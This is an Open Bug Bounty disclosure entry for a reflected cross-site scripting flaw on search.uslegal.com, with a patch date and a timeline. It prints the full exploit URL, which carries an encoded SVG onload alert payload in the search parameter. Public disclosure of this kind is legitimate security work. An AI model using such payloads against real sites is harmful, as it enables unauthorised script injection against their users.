search.uslegal.com XSS vulnerability

2015-11-09T15:33:00
ID OBB:103242
Type openbugbounty
Reporter retr0
Modified 2017-07-25T21:49:00

Description

Vulnerable URL:
http://search.uslegal.com/?cx=001866675113529353458%3Aa1bz6zacbow&search;_type=uslegal&q;=%22%3E%3Csvg%2Fonload%3Dalert%28%2FXSSPOSED%2F%29%3E&cof;=FORID%3A11
Details:

Description| Value
---|---
Patched:| Yes, at 25.07.2017
Latest check for patch:| 25.07.2017 21:49 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
Google Pagerank| 3
VIP website status:| No
Check search.uslegal.com SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 9 November, 2015 15:33 GMT
Vulnerability existence verified and confirmed| 9 November, 2015 15:35 GMT
Vulnerability patched by the website owner| 25 July, 2017 21:49 GMT